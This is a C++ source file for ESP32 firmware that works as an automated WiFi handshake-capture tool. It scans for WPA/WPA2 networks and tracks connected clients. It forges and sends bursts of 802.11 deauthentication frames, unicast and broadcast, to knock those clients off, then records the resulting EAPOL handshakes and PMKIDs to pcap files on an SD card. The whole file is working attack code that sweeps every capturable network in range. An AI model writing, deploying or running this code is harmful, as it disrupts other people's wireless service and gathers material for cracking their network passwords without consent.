#include "HandshakeCapture.h" #include "SD_Card.h" #include "LVGL_Driver.h" #include #include // ─── Internal prototypes ─── static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type); static void pcapInitSlot(CaptureSlot* slot); static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len); static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac); static void sendDeauthBurstAll(); static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac); static bool eapolHasPmkid(const uint8_t* payload, uint16_t len, uint16_t mac_hdr_len); static int getNextChannelSweep(); // ─── Shared state ─── WifiNetwork networks[MAX_NETWORKS]; CaptureSlot slots[MAX_SLOTS]; volatile int pending_save_slots[MAX_SLOTS] = {-1, -1, -1}; bool is_capturing = false; int current_channel = 0; volatile int latest_eapol_count = 0; CapturePhase capturePhase = PHASE_OBSERVING; // ─── Phase timing ─── #define OBSERVE_DURATION_MS 5000 #define CAPTURE_TIMEOUT_MS 10000 #define DEAUTH_BURST_COUNT 5 #define DEAUTH_BURST_DELAY 2 // ms between frames in a burst #define MAX_PHASE_RETRIES 3 // 3 full cycles before moving to next channel static unsigned long phase_timer = 0; static uint8_t phase_retries = 0; static int last_channel = 0; // Spinlock for data shared between promiscuous callback (WiFi task) // and main loop. Critical sections are kept very short. static portMUX_TYPE capture_mux = portMUX_INITIALIZER_UNLOCKED; // ─── Captured BSSID cache (persists across channel hops) ─── #define CAPTURED_BSSID_CACHE_SIZE 32 static uint8_t captured_bssids[CAPTURED_BSSID_CACHE_SIZE][6]; static int captured_bssid_count = 0; bool wasBssidCaptured(const uint8_t* bssid) { for (int i = 0; i < captured_bssid_count; i++) { if (memcmp(captured_bssids[i], bssid, 6) == 0) return true; } return false; } static void markBssidCaptured(const uint8_t* bssid) { if (wasBssidCaptured(bssid)) return; if (captured_bssid_count < CAPTURED_BSSID_CACHE_SIZE) { memcpy(captured_bssids[captured_bssid_count], bssid, 6); captured_bssid_count++; } else { memmove(captured_bssids[0], captured_bssids[1], (CAPTURED_BSSID_CACHE_SIZE - 1) * 6); memcpy(captured_bssids[CAPTURED_BSSID_CACHE_SIZE - 1], bssid, 6); } } // ─── Init ─── void handshakeCaptureInit() { WiFi.mode(WIFI_STA); WiFi.disconnect(false, true); delay(100); WiFi.mode(WIFI_AP_STA); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback); for (int i = 0; i < MAX_SLOTS; i++) { pending_save_slots[i] = -1; } } // ─── Pending save processing (main loop context — safe for SD I/O) ─── void handshakeCaptureProcessPending() { for (int i = 0; i < MAX_SLOTS; i++) { if (pending_save_slots[i] < 0) continue; pending_save_slots[i] = -1; CaptureSlot* s = &slots[i]; if (!s->active || s->pcap_size == 0) continue; String filename = "/handshake_"; filename += s->ssid; filename += "_"; filename += String(millis() / 1000); filename += ".pcap"; filename.replace(" ", "_"); markBssidCaptured(s->bssid); if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) { networks[s->network_index].handshake_captured = true; Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED)); } File file = SD.open(filename.c_str(), FILE_WRITE); if (file) { if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) { Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size); Ui_SetWifiStatus("Saved PCAP!"); } else { Serial.println("SD Write Failed!"); Ui_SetWifiStatus("SD Write Err!"); } file.close(); } else { Serial.println("SD Open Failed!"); Ui_SetWifiStatus("SD Open Err!"); } s->pcap_size = 0; s->active = false; } refillSlots(); } // ─── Slot management ─── static bool networkInAnySlot(int ni) { for (int i = 0; i < MAX_SLOTS; i++) { if (slots[i].active && slots[i].network_index == ni) return true; } return false; } void refillSlots() { if (!is_capturing || current_channel == 0) return; for (int si = 0; si < MAX_SLOTS; si++) { if (slots[si].active) continue; for (int ni = 0; ni < MAX_NETWORKS; ni++) { if (networks[ni].ssid.isEmpty()) break; if (networks[ni].handshake_captured || !isCaptureable(ni)) continue; if (networks[ni].ch != current_channel) continue; if (networkInAnySlot(ni)) continue; CaptureSlot* s = &slots[si]; memcpy(s->bssid, networks[ni].bssid, 6); strncpy(s->ssid, networks[ni].ssid.c_str(), 32); s->ssid[32] = '\0'; s->network_index = ni; s->beacon_captured = false; s->eapol_count = 0; s->client_count = 0; s->active = true; pcapInitSlot(s); break; } } } // ─── Network helpers ─── bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) { return a.rssi > b.rssi; } bool isCaptureable(int index) { if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false; const String& enc = networks[index].encryption; return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2"; } int getCaptureableCount() { int n = 0; for (int i = 0; i < MAX_NETWORKS; i++) { if (networks[i].ssid.isEmpty()) break; if (!networks[i].handshake_captured && isCaptureable(i)) n++; } return n; } int getBestChannel() { int best_ch = 0; int best_count = 0; int ch_counts[15] = {0}; for (int i = 0; i < MAX_NETWORKS; i++) { if (networks[i].ssid.isEmpty()) break; if (networks[i].handshake_captured || !isCaptureable(i)) continue; int ch = networks[i].ch; if (ch >= 1 && ch <= 14) { ch_counts[ch - 1]++; if (ch_counts[ch - 1] > best_count) { best_count = ch_counts[ch - 1]; best_ch = ch; } } } return best_ch; } static int getNextChannelSweep() { int ch_counts[15] = {0}; for (int i = 0; i < MAX_NETWORKS; i++) { if (networks[i].ssid.isEmpty()) break; if (networks[i].handshake_captured || !isCaptureable(i)) continue; int ch = networks[i].ch; if (ch >= 1 && ch <= 14) ch_counts[ch - 1]++; } // Simple circular sweep across channels that still have targets. int start = last_channel; for (int step = 0; step < 14; step++) { int ch = ((start + step) % 14) + 1; if (ch_counts[ch - 1] > 0) return ch; } return 0; } void scanNetworksSortedByRSSI() { memset(networks, 0, sizeof(networks)); int n = WiFi.scanNetworks(false, false); if (n == 0) return; int stored = 0; for (int i = 0; i < n && stored < MAX_NETWORKS; i++) { String ssid = WiFi.SSID(i); if (ssid.isEmpty()) continue; networks[stored].ssid = ssid; memcpy(networks[stored].bssid, WiFi.BSSID(i), 6); networks[stored].ch = WiFi.channel(i); networks[stored].rssi = WiFi.RSSI(i); wifi_auth_mode_t enc = WiFi.encryptionType(i); if (enc == WIFI_AUTH_OPEN) networks[stored].encryption = "Open"; else if (enc == WIFI_AUTH_WEP) networks[stored].encryption = "WEP"; else if (enc == WIFI_AUTH_WPA_PSK) networks[stored].encryption = "WPA"; else if (enc == WIFI_AUTH_WPA2_PSK) networks[stored].encryption = "WPA2"; else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[stored].encryption = "WPA/WPA2"; else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[stored].encryption = "WPA2 Enterprise"; else networks[stored].encryption = "Unknown"; networks[stored].handshake_captured = wasBssidCaptured(networks[stored].bssid); stored++; } std::sort(networks, networks + stored, compareRSSI); } // ─── PCAP buffer (fixed-size, no dynamic alloc) ─── static void pcapInitSlot(CaptureSlot* slot) { slot->pcap_size = sizeof(pcap_global_header_t); pcap_global_header_t header = { .magic_number = 0xa1b2c3d4, .version_major = 2, .version_minor = 4, .thiszone = 0, .sigfigs = 0, .snaplen = 65535, .network = 105 }; memcpy(slot->pcap_buffer, &header, sizeof(header)); } // Must be called inside capture_mux critical section. static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len) { if (!frame || len == 0) return false; size_t needed = sizeof(pcap_record_header_t) + len; if (slot->pcap_size + needed > PCAP_MAX_SIZE) return false; uint32_t ms = millis(); pcap_record_header_t rec = { .ts_sec = ms / 1000, .ts_usec = (ms % 1000) * 1000, .incl_len = (uint32_t)len, .orig_len = (uint32_t)len }; memcpy(slot->pcap_buffer + slot->pcap_size, &rec, sizeof(rec)); memcpy(slot->pcap_buffer + slot->pcap_size + sizeof(rec), frame, len); slot->pcap_size += needed; return true; } // ─── Client tracking (called from callback under spinlock) ─── static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac) { if (mac[0] & 0x01) return false; // multicast/broadcast if (memcmp(mac, slot->bssid, 6) == 0) return false; // the AP itself for (uint8_t i = 0; i < slot->client_count; i++) { if (memcmp(slot->clients[i].mac, mac, 6) == 0) { slot->clients[i].last_seen = millis(); return false; } } if (slot->client_count >= MAX_CLIENTS_PER_SLOT) return false; memcpy(slot->clients[slot->client_count].mac, mac, 6); slot->clients[slot->client_count].last_seen = millis(); slot->client_count++; return true; } // ─── Deauth: unicast burst to each discovered client ─── static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac) { uint8_t deauth[26] = { 0xC0, 0x00, // Frame Control: Deauth 0x00, 0x00, // Duration 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // DA: client 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // SA: AP BSSID 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID: AP 0x00, 0x00, // Seq Ctrl 0x07, 0x00 // Reason: Class 3 from non-associated STA }; memcpy(&deauth[4], client_mac, 6); memcpy(&deauth[10], bssid, 6); memcpy(&deauth[16], bssid, 6); for (int i = 0; i < DEAUTH_BURST_COUNT; i++) { esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false); if (i < DEAUTH_BURST_COUNT - 1) delay(DEAUTH_BURST_DELAY); } } static void sendDeauthBurstAll() { for (int i = 0; i < MAX_SLOTS; i++) { CaptureSlot* s = &slots[i]; if (!s->active) continue; if (s->client_count > 0) { Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count); for (uint8_t c = 0; c < s->client_count; c++) { sendDeauthToClient(s->bssid, s->clients[c].mac); } } else { Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid); uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; sendDeauthToClient(s->bssid, bcast); } } } // ─── Capture lifecycle ─── void startMultiCapture() { if (is_capturing) return; current_channel = getNextChannelSweep(); if (current_channel == 0) return; last_channel = current_channel; memset(slots, 0, sizeof(slots)); int filled = 0; for (int i = 0; i < MAX_NETWORKS && filled < MAX_SLOTS; i++) { if (networks[i].ssid.isEmpty()) break; if (networks[i].handshake_captured || !isCaptureable(i)) continue; if (networks[i].ch != current_channel) continue; CaptureSlot* s = &slots[filled]; memcpy(s->bssid, networks[i].bssid, 6); strncpy(s->ssid, networks[i].ssid.c_str(), 32); s->ssid[32] = '\0'; s->network_index = i; s->beacon_captured = false; s->eapol_count = 0; s->client_count = 0; s->active = true; pcapInitSlot(s); filled++; } if (filled == 0) return; is_capturing = true; capturePhase = PHASE_OBSERVING; phase_timer = millis(); phase_retries = 0; esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled); } void stopCapture() { if (!is_capturing) return; is_capturing = false; for (int i = 0; i < MAX_SLOTS; i++) { if (slots[i].active) { if (slots[i].eapol_count >= 1) { pending_save_slots[i] = i; } else { slots[i].pcap_size = 0; slots[i].active = false; } } } handshakeCaptureProcessPending(); } // ─── State machine tick (called from main loop) ─── void handshakeCaptureLoop() { if (!is_capturing) return; unsigned long now = millis(); // Phase 2 → Phase 3 (transient burst) → Phase 4 if (capturePhase == PHASE_OBSERVING) { if (now - phase_timer >= OBSERVE_DURATION_MS) { int total = 0; for (int i = 0; i < MAX_SLOTS; i++) { if (slots[i].active) { Serial.printf(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count); total += slots[i].client_count; } } Serial.printf("Observation done: %d client(s). Sending deauth burst.\n", total); sendDeauthBurstAll(); capturePhase = PHASE_CAPTURING; phase_timer = now; phase_retries++; Serial.println("Phase 4: capturing handshakes..."); } } // Phase 4 timeout → re-observe or let .ino CHANNEL_TIMEOUT handle final stop if (capturePhase == PHASE_CAPTURING) { if (now - phase_timer >= CAPTURE_TIMEOUT_MS) { if (phase_retries < MAX_PHASE_RETRIES) { Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n", phase_retries + 1, MAX_PHASE_RETRIES); portENTER_CRITICAL(&capture_mux); for (int i = 0; i < MAX_SLOTS; i++) { if (slots[i].active) slots[i].client_count = 0; } portEXIT_CRITICAL(&capture_mux); capturePhase = PHASE_OBSERVING; phase_timer = now; } } } } // ─── Promiscuous RX callback ─── // Runs in WiFi task context (high priority). Must be fast. // No Serial, no malloc/realloc, no file I/O. static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) { (void)type; if (!is_capturing) return; wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; const uint8_t* payload = pkt->payload; uint16_t len = pkt->rx_ctrl.sig_len; if (len < 24) return; uint8_t frame_type = payload[0]; bool is_beacon = (frame_type == 0x80); bool is_qos = (frame_type == 0x88); bool is_data = (frame_type == 0x08) || is_qos; // Pre-compute EAPOL presence for data frames bool is_eapol = false; uint16_t mhl = 0; if (is_data) { bool to_ds = (payload[1] & 0x01) != 0; bool from_ds = (payload[1] & 0x02) != 0; mhl = 24; if (to_ds && from_ds) mhl += 6; // WDS 4-addr if (is_qos) mhl += 2; // QoS Control // EAPOL is always unencrypted — skip protected frames if (!(payload[1] & 0x40) && len >= mhl + 8) { // Verify LLC/SNAP header prefix (AA AA 03) before reading ethertype if (payload[mhl] == 0xAA && payload[mhl + 1] == 0xAA && payload[mhl + 2] == 0x03) { is_eapol = (payload[mhl + 6] == 0x88 && payload[mhl + 7] == 0x8E); } } } // Snapshot minimal slot state quickly (avoid holding lock during memcmp-heavy logic) uint8_t bssids[MAX_SLOTS][6]; bool slot_active[MAX_SLOTS]; bool slot_pending[MAX_SLOTS]; bool slot_beacon_captured[MAX_SLOTS]; CapturePhase phase_snapshot; portENTER_CRITICAL(&capture_mux); phase_snapshot = capturePhase; for (int i = 0; i < MAX_SLOTS; i++) { slot_active[i] = slots[i].active; slot_pending[i] = (pending_save_slots[i] >= 0); slot_beacon_captured[i] = slots[i].beacon_captured; memcpy(bssids[i], slots[i].bssid, 6); } portEXIT_CRITICAL(&capture_mux); // Identify which slot (if any) this frame belongs to. int hit_slot = -1; bool hit_match_addr2 = false; if (is_beacon && len >= 36) { const uint8_t* src = &payload[10]; for (int i = 0; i < MAX_SLOTS; i++) { if (!slot_active[i] || slot_pending[i]) continue; if (slot_beacon_captured[i]) continue; if (memcmp(src, bssids[i], 6) == 0) { hit_slot = i; break; } } } else if (is_data) { const uint8_t* addr1 = &payload[4]; const uint8_t* addr2 = &payload[10]; for (int i = 0; i < MAX_SLOTS; i++) { if (!slot_active[i] || slot_pending[i]) continue; bool match1 = (memcmp(addr1, bssids[i], 6) == 0); bool match2 = (memcmp(addr2, bssids[i], 6) == 0); if (match1 || match2) { hit_slot = i; hit_match_addr2 = match2; break; } } } if (hit_slot < 0) return; // Apply updates under lock (validate slot is still active) portENTER_CRITICAL(&capture_mux); CaptureSlot* s = &slots[hit_slot]; if (!s->active || pending_save_slots[hit_slot] >= 0) { portEXIT_CRITICAL(&capture_mux); return; } if (is_beacon) { if (!s->beacon_captured && len >= 36 && memcmp(&payload[10], s->bssid, 6) == 0) { s->beacon_captured = true; pcapAppendSlot(s, payload, len); } portEXIT_CRITICAL(&capture_mux); return; } // Data frame if (phase_snapshot == PHASE_OBSERVING) { const uint8_t* client_mac = hit_match_addr2 ? &payload[4] : &payload[10]; addClientToSlot(s, client_mac); } if (is_eapol) { s->eapol_count++; pcapAppendSlot(s, payload, len); latest_eapol_count = s->eapol_count; // Save immediately on PMKID presence (M1 can be sufficient) if (s->eapol_count == 1 && eapolHasPmkid(payload, len, mhl)) { pending_save_slots[hit_slot] = hit_slot; } else if (s->eapol_count >= 2) { pending_save_slots[hit_slot] = hit_slot; } } portEXIT_CRITICAL(&capture_mux); } // Minimal PMKID KDE detection for RSN (00:0f:ac:04) // payload points at 802.11 header start; mac_hdr_len points at LLC/SNAP start. static bool eapolHasPmkid(const uint8_t* payload, uint16_t len, uint16_t mac_hdr_len) { if (mac_hdr_len == 0) return false; if (len < mac_hdr_len + 8 + 4) return false; // LLC/SNAP + EAPOL hdr // LLC/SNAP is 8 bytes: DSAP,SSAP,CTRL,OUI(3),Ethertype(2) const uint16_t eapol_off = mac_hdr_len + 8; if (len < eapol_off + 4) return false; // EAPOL header // [0]=ver, [1]=type, [2..3]=len uint8_t eapol_type = payload[eapol_off + 1]; if (eapol_type != 3) return false; // EAPOL-Key uint16_t eapol_len = ((uint16_t)payload[eapol_off + 2] << 8) | payload[eapol_off + 3]; if (len < eapol_off + 4 + eapol_len) return false; const uint16_t key_off = eapol_off + 4; if (eapol_len < 95) return false; // too small to contain WPA2 key + KDEs // WPA2 EAPOL-Key fixed fields are 95 bytes after key descriptor type // Key Data Length is at offset 97–98 from start of key frame (descriptor included). // Layout: desc(1), key_info(2), key_len(2), replay(8), nonce(32), iv(16), // rsc(8), id(8), mic(16), key_data_len(2), key_data(variable) const uint16_t key_data_len_off = key_off + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16; if (key_data_len_off + 2 > key_off + eapol_len) return false; uint16_t key_data_len = ((uint16_t)payload[key_data_len_off] << 8) | payload[key_data_len_off + 1]; const uint16_t key_data_off = key_data_len_off + 2; if (key_data_off + key_data_len > key_off + eapol_len) return false; if (key_data_len < 20) return false; // Search for RSN KDE: dd 14 00 0f ac 04 <16 bytes PMKID> for (uint16_t i = 0; i + 22 <= key_data_len; i++) { const uint16_t p = key_data_off + i; if (payload[p] != 0xDD) continue; if (payload[p + 1] != 0x14) continue; if (payload[p + 2] != 0x00 || payload[p + 3] != 0x0F || payload[p + 4] != 0xAC) continue; if (payload[p + 5] != 0x04) continue; return true; } return false; }